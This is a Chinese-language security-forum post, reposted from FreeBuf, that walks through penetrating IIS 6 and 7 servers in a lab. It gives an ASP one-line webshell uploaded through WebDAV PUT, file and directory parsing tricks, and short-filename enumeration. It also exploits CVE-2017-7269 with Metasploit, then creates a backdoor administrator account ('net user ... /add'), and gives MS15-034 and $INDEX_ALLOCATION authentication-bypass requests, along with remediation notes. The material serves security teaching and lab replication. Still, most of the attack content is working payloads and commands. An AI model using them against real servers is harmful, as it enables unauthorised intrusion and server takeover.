问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
IIS渗透合集
渗透测试
IIS渗透合集
安装IIS6 ====== 这边在Windows Server 2003上安装    IIS 6.X 安装是需要插件的 安装完成了  打开就是这样  安装IIS7 ====== IIS7-win7-x64   IIS 6.X渗透 ========= 0x01 IIS写权限漏洞 ------------- #### 实操 开启WebDAV引起的IIS写权限漏洞(攻击者可以上传文件) PUT任意上传漏洞!  开启脚本资源访问和写入:  尝试写一个html文件 ```php <center><h1>this is ASP a001 hello</center><h1><%e val request("a001")%> ``` IIS7远程访问一下   这边用一个工具  添加对端IP和端口  看到是可以写入的 打开Windows Server 2003上默认网站对用户的权限   写入一句话木马 ```c <%e val request("a")%> ``` 利用一个的`.exe`文件 进行PUT上传  可以看到成功了 去Windows Server 2003上看一下 刷新一下  可以看到上传成功了 这里说明一下 成功通过PUT方法上传了一个含有`asp`的一句话木马的txt文件 之所以不直接上传一个asp一句话是因为通常上传txt文本不会出错,但是上传asp就会报错 这个时候经过修改一下就可以了 这里要去Windows Server 2003开启IIS的asp解析功能  然后把刚才上传上去的1.txt文件改名为shell.asp  然后访问,拿蚁剑连接就可以了   #### 防御 1.关闭 WebDav 2.关闭写入权限 0x02 解析漏洞 --------- ### IIS文件解析漏洞 #### 原理 IIS文件解析漏洞:`*.asp;.xxx`像这样畸形的文件IIS只会把他当作xxx.asp文件执行不会看分号之后的内容。 #### 实操 IIS文件解析漏洞 首先在Windows Server 2003上创建一个a001.asp ```c <%=time()%> 会显示当前的时间 ```  同样也是要开启IIS的asp解析功能  远程访问一下  然后开始分析 `a001.asp;.jpg`-->实际访问的是`a001.asp` `a001.asp;.zip`-->实际访问的是`a001.zip`    这个时候 当我们将这个内容改成asp的一句话木马时 访问一下  拿蚁剑连接一下 是可以的  ### IIS目录解析漏洞 #### 原理 IIS目录解析漏洞:以`*.asp`命名的文件夹中的文件都会被当作asp文件执行 创建一个1.asp目录  把之前的1.txt复制进来  访问一下   #### 防御 - 设置权限无  - 不允许新建目录。 - 上传的文件需经过重命名(时问戳+随机数+jpg等) 0x03 IIS短文件漏洞 ------------- ### 简介 攻击者可以利用`~`字符猜解或遍历服务器中的文件名,或对IIS服务器中的 Net f ramework进行拒绝服务攻击! 就是存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件 我们到IIS目录下 去看一下 ```c dir /x ```  ### IIS短文件名产生 - 当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位 - 当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名 目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种 IIS8.0之后的版本只能通过 OPTIONS和 TRACE方法被猜测成功 ### 实操 IIS8.0以下版本需要开启 ASP.NET支持,IIS大于等于8.0版本,即使没有安装 ASP.NET,通过OPTIONS和 TRACE方法也可以猜解成功 需要安装一下ASP.NET  然后就多了这么一个东西  新建一个`.aspx`的文件  可以看到它也是存在的  正常情况下 我们远程访问一下 它的返回是404  或者是400的错误 用一个工具去爆破它 具体看这里 [https://github.com/WebBreacher/tilde\_enum](https://github.com/WebBreacher/tilde_enum) <https://github.com/irsdl/IIS-ShortName-Scanner> 安装java7 启动就是这样  需要输入对端的IP  这里选no 然后一路回车就好了 它就爆破出来了  ### 修复建议 #### 1.从CMD命令关闭NTFS8.3文件格式的支持 ```c Windows server2003:(1代表关闭,0代表开启 关闭该功能 fsutil behavior set disable8dot3 1 ``` ```c Windows server 2008 R2: 查询是否开启短文件名功能:fsutil 8dot3name query 关闭该功能:fsutil 8dot3name set 1 不同系统关闭命令稍有区别,该功能默认是开启的 ``` #### 2.从修改注册表关闭NTFS 8.3文件格式的支持 快捷键Win+R打开命令窗口,输入 regedit打开注册表窗口 找到路径 ```c HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem ```  将其中的 NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式 #### 注意 以上两种方式修改完成后,均需要重启系统生效。 **此方法只能禁止NTFS 8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失** ### 实战用处 - 猜后台。 - 猜敏感文件,例如备份的`rar`、`zip`、`.bαk`、`.SQL`文件等。 - 在某些情形下,甚至可以通过短文件名直接下载对应的文件。比如下载备份SQL文件。 ### IIS短文件漏洞局限性 - 如果文件名本身太短也是无法猜解的 - 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解 - 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配 - 如果文件夹名前6位字符带点`.`,扫描程序会认为是文件而不是文件夹,最终出现误报 - 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测 0x04 RCE-CVE-2017-7269 ---------------------- ### 简介 Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以`If:<http://`开头的长标头执行任意代码 PROPFIND请求 ### 影响范围: WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。 复现一下这个漏洞 根据需求进行设置  然后在Win7 远程打一下Windows Server 2003 Exp地址 [https://github.com/edwardz246003/IIS\_exploit/blob/master/exploit.py](https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py) Exp是基于python2的 修改一下 对端IP和端口  执行一下  去看看Win7的进程 多了`calc.exe`这样一个进程  证明是存在缓冲区溢出的 ### 漏洞修复 - 关闭 WebDav服务 - 使用相关防护设备 ### 实战中的应用 条件:IIS 6.0 开启WebDav 接下来演示 exp: ```c https://github.com/zcgonvh/cve-2017-7269 ``` 下载后注意一点 进行更名一下  然后我们把这个`.rb`文件放入MSF的渗透框架中 /usr/share/m etasploit-f ramework/modules/exploits/windows/iis/ 然后执行cp命令即可 ```c cp /root/Desktop/cve_2017_7269.rb . ``` 启动MSF 使用这个模块 ```c use exploit/windows/iis/cve_2017_7269 ```  但是并没有拿到shell 进行排错一下  在IP地址中未分配,可以解释为非默认绑定 **注意:该exp只适用默认绑定和默认路径的情况才可以提权!**  这里 做不做都是可以的 就是批量检测进程溢出 这里有个工具 ```c https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner ``` ```c python IIS6_WebDAV_Scanner.py -p 1.txt ```  得到溢出值是19 然后设置MSF中的PhysicalPathLength为19 MSF 重新跑一下 成功拿到了shell  简单看一下权限  是真的 好低哇 这里用到一个提权工具 针对缓冲区溢出的一个工具 挺老的 进行上传 ```c upload '/root/Desktop/pr.exe' c:\Windows\system32\inetsrv ``` 然后进行创建用户 ```c pr.exe "net user a002 963852 /add" ``` 添加到管理员组 ```c pr.exe "net localgroup administrators a002 /add ``` IIS7.x渗透 ======== 0x01 解析漏洞 --------- #### 原理 IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/php,会将a001.jpg/png解析为php文件 修复建议:配置 cgi fix\_pathinfo(php inil中)为0并重启php-cgi程序 我这边在Windows Server 2008 R2上进行搞     安装成功后 打开 IIS7是有一个默认网站的 本地访问一下 ok 这就成功了  确定版本   确认是IIS7.5的版本 然后这边我用phpstudy进行联动 切换版本  报了个错 说找不到 把这个文件扩展名 打开   Google的解决方案是说 因为phpstudy安装在了C盘目录下 所以启动要拿管理员启动 切换成功  查看网站的基本信息  默认端口是8980 那就访问一下phpstudy网站目录下的东西吧 访问康康哇  成功访问  如果你没有用phpstudy的话 那么就要手动添加  右键添加 选择php安装目录下的的`php-cgi.exe`的文件 就可以了  强调一下 这个勾要打上  把Windows Server 2008 R2的防火墙关闭一下 然后远程访问一下 中间端口打错了  解析漏洞   我们访问一下  发现是不可以的 解析漏洞来了    把这个对勾去了就可以了   成功解析为`.php`文件 WebDAV在IIS7.5 在这里 #### 修复建议 配置 `cgi.fix_pathinfo(php.ini中)`为0并重启php-cgi程序 0x02 HTTP.SYS远程代码执行(MS15-034) ----------------------------- HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞 ### 影响范围 Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和 Windows server 2012 R2 ### 漏洞影响版本 IIS7.5、IIS8.0、IIS8.5 ### 漏洞复现  竟然304了 这里说一下304这个状态码 304状态码或许不应该认为是一种错误,而是对客户端有缓存情况下服务端的一种响应 直接Ctrl+F5强制刷新就可以了 ok 正常了 拿到了200的状态码  JS前端的修改进行验证  添加这段内容进行验证 ```C Range: bytes=0-18446744073709551615 ```   返回码状态为416 Requested Range Not Satisfiable 则存在 HTTP.SYS远程代码执行漏洞 漏洞影响版本:IIS6.0,IIS7.5 ### 修复建议 安装修复补丁(KB3042553) 0x03 认证绕过漏洞 ----------- ### 简介 Microsof IIS是 Microsoft windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsof IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。 ### 漏洞影响版本 IIS6.0、IIS7.5 ### 漏洞原因 Microsof IIS由于无法正确清理用户提供的输入,容易岀现身份验证绕过漏洞和源代码泄露漏洞。 主要包括以下三类绕过 (1)安装了PHP的Microsof IIS6.0身份验证绕过 IIS/6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“`∷$INDEX_ALLOCATION`”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露: ```c /admin::$INDEX_ALLOCATION/index.php ``` (2)Microsof IIS7.5经典ASP身份验证绕过 配置了经典ASP和 .NET f ramework 4.0的Microsof IIS7.5,通过将`:i30:I NDEX_ALLOCATION`后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制 ```c /admin:$i30:$INDEX_ALLOCATION/index.asp ``` (3)Microsof IIS7.5 .NET源代码公开和身份验证绕过 在配置中安装了PHP的Microsof IIS7.5,存在认证绕过漏洞; ```c http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php ``` ### 演示一下第三个 .NAT版本需要是4以上  网站目录在这里 搞个文件夹 丢个index.php   当我们把这个匿名身份验证禁用  访问一下 就变成401的未授权了  然后我们进行绕过 ```c http://IP/a001:$i30:$INDEX_ALLOCATION/index.php ``` 0x04 解析漏洞+认证绕过漏洞 ---------------- 目标站点限制上传和访问php文件 可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行 网站目录下有一个 `index.aspx`的文件,里面写有php代码 在这里插入图片描述 认证漏洞绕过访问 index.aspx文件,页面返回乱码,未执行 phpinfo代码! ```c http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx ``` 这里我们在加上解析漏洞 ```c http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx/.php ``` 在这里插入图片描述 成功执行 文章转载于:<https://www.freebuf.com/articles/web/271746.html>
发表于 2021-07-29 15:00:21
阅读 ( 7662 )
分类:
WEB安全
1 推荐
收藏
0 条评论
请先
登录
后评论
略略略
36 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!